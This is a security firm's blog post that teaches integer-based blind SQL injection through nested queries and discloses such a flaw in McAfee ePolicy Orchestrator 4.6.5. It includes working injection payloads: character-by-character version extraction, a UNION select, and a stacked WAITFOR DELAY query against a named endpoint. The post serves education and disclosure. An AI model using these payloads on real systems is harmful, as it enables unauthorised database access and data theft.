Exploiting Integer Based SQL Injection In Nested SQL Queries

October 8, 2013 7 mins

Exploiting Integer Based SQL Injection In Nested SQL Queries

SQL injection involving nested queries and arithmetic evaluation.

In this post I’ll be talking you through exploiting what turned out to be an interesting SQL Injection variation – SQL injection involving nested queries and arithmetic evaluation.

Consider the following example application requests and responses:

Request:

nested.php?id=1

Response:

your account balance is: 16230

Request:

nested.php?id=10

Response:

your account balance is: 56963

The underlying SQL query in this case is equivalent to the following:

SELECT balance from balances where account_number=(SELECT account_number from accounts where id=?);

This parameter is vulnerable to integer based SQL Injection, which we can verify by using the following “id=1” parameter value equivalents:

Request:
id=1

Response:
your account balance is: 16230

Request:
id=0.5*2

Response:
your account balance is: 16230

Request:
id=10/10

Response:
your account balance is: 16230

Request:
id=2-1

Response:
your account balance is: 16230

This is pretty conclusive proof that our “id” values are being evaluated as part of a dynamic SQL query. Still it’s always worth proving the negative case, so we can go ahead and test a few other numerical values and see if they return other balance values.

Let’s see what happens if we try to return the MySQL version:

Request:
id=@@version

Response:

No luck. Still we can leverage the fact that we can manipulate integers to infer the result of the above version request. We can do this by using the MySQL “ASCII” native function. The ASCII function will take a string and return to us the leftmost character as a decimal value.

Request:
id=ASCII(@@version)

Response:
your account balance is: 990

Great! It looks like the expression evaluated and returned a response based on the first character of the version string.

By spidering all possible id values we discover that the balance value 990 belongs to the account with id value “53”:

Request:
nested.php?id=53

Response:
your account balance is: 990

So we now know that the decimal ASCII value of the first character is the MySQL version string is “53”. If we use an ascii lookup table we can map this value to the “5” character. The first character in the MySQL version string is “5”.

To get the other characters in the version string, we can use the MySQL “SUBSTRING” native function. Let’s use it in our example to return the second character of the version string:

Request:
id=ASCII(SUBSTRING(@@version,2,1))

Response:
your account balance is: 96146

The response is equivalent to a request to “id” value “46” which indicates that the second character in the version string is a “.” character.

Using this technique we can step through each character and enumerate the whole response string. To aid us in the process we can get the total length of the version string by using the MySQL “CHAR_LENGTH” native function.

Request:
id=CHAR_LENGTH(@@version)

With the response being equivalent to “23”.

I think we’ve proved a point here in what is a fairly contrived scenario. In this example we can actually bypass this whole process as there is no actual filtering involved (just implicit type-casting in the SQL query). The following request will return the whole version string:

Request:
id=53) union select @@version — -

Response:
your account balance is: 5.5.28-0ubuntu0.12.04.3

This teaches us a lot about the power of close brackets in evaluating potential SQL injection (you don’t always need a quote!) but it doesn’t teach us a lot about real world exploitation where filtering is enabled.

For my next trick we’ll look at an example where this technique was used to identify and exploit an 0day SQL Injection issue in the McAfee ePolicy Orchestrator product.

Disclosure Details:

McAfee ePolicy Orchestrator (ePO) 4.6.5 Blind SQL Injection Via SQL Arithmetic

Vulnerability Type: Blind SQL Injection

Company: Gotham Digital Science

Affected Software: McAfee ePolicy Orchestrator (ePO) 4.6.5 (Build 168)

McAfee Security Bulletin: http://kc.mcafee.com/corporate/index?page=content&id=SB10043

Vulnerability Description:

The ‘uid’ parameter passed to the ‘DisplayMSAPropsDetail.do’ page allows for the passing of SQL arithmetic that is evaluated as a dynamic SQL statement. The database backend evaluates these values and then returns the associated record.

Exploitation:

The following request and response pairs demonstrate the use of the SQL integer evaluation injection:

Request:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1

Response:

GDSSECURITY

Request:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=0.5*2

Response:

GDSSECURITY

(The response value ‘GDSSECURITY’ is related to the host name of a machine being referenced by the ‘uid’ value and is returned as part of the response data).

Since we know that making a request with the ‘uid’ parameter value set to 1 returns the value host-name value ‘GDSSECURITY’ we can use any query that evaluates to 1 and confirm that it evaluates to 1 by getting the expected response back.

For example consider the following Request:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1 * ASCII(SUBSTRING(@@version,1,1)) / 77

If the value of the first character of the database version is equal to ‘M’ then the arithmetic will be equivalent to “1 * 77 / 77” (i.e the value “1”).

We run into a practical challenge in certain situations in that SQL Server will, in some cases, round off equations evaluating to non-whole number results.

For example the following queries will both be rounded down to the same result (the value “1”):

select 1 * ASCII(SUBSTRING(@@version,1,1)) / 77 = 1 select 1 * ASCII(SUBSTRING(@@version,1,1)) / 76 = 1

To compensate for this we can explicitly cast the return value as a float by first dividing by the decimal value ‘0.5’ as per the following example:

SELECT 1 * 0.5 * ASCII(SUBSTRING(@@version,1,1)) / 0.5 / 77

In these conditions SQL Server will handle the casting of return values according to its own internal rules. With the return value cast as a float integer we can perform the arithmetic we need without the danger of rounding down and getting inaccurate responses.

The following proof of concept will use these techniques to validate the first character of the server version as the ASCII value 77 or ‘M’:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1 * 0.5 * ASCII(SUBSTRING(@@version,1,1)) / 0.5 / 77

The application returns the expected record “GDSSECURITY” validating that the first character of the database version string is ‘M’ and therefore most probably a Micosoft SQL Server instance.

Building — Support

Contact our cyber response teams for urgent breach assistance.

Contact Us

Extending the Attack:

It is possible to step out of the restrictions of injecting into a ‘SELECT’ query through the use of stacked queries. The following proof of concept demonstrates the addition of a second, arbitrary query after a completed initial parameter:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=0.5*2;WAITFOR DELAY ‘0:0:5’;

This request will result in a 5 second delay before a response is returned by the database and the application.

Epilogue:

So there you have it. Nested SQL queries and type-cast values can be dangerous. If you haven’t already, add “)” and “ASCII(@@version)” to your attack dictionaries.

Explore More

Capability Overview

Cyber Resilience
Product / Service

Penetration Testing Services

Author

Sasha Zivojinovic

Cyber security services are offered by Stroz Friedberg Inc., its subsidiaries and affiliates. Stroz Friedberg is part of Aon’s Cyber Solutions which offers holistic cyber risk management, unsurpassed investigative skills, and proprietary technologies to help clients uncover and quantify cyber risks, protect critical assets, and recover from cyber incidents.

This material has been prepared for informational purposes only and should not be relied on for any other purpose. You should consult with your own professional advisors or IT specialists before implementing any recommendation, following any of the steps or guidance provided herein. Although we endeavor to provide accurate and timely information and use sources that we consider reliable, there can be no guarantee that such information is accurate as of the date it is received or that it will continue to be accurate in the future.

The contents herein may not be reproduced, reused, reprinted or redistributed without the expressed written consent of Aon, unless otherwise authorized by Aon. To use information contained herein, please write to our team.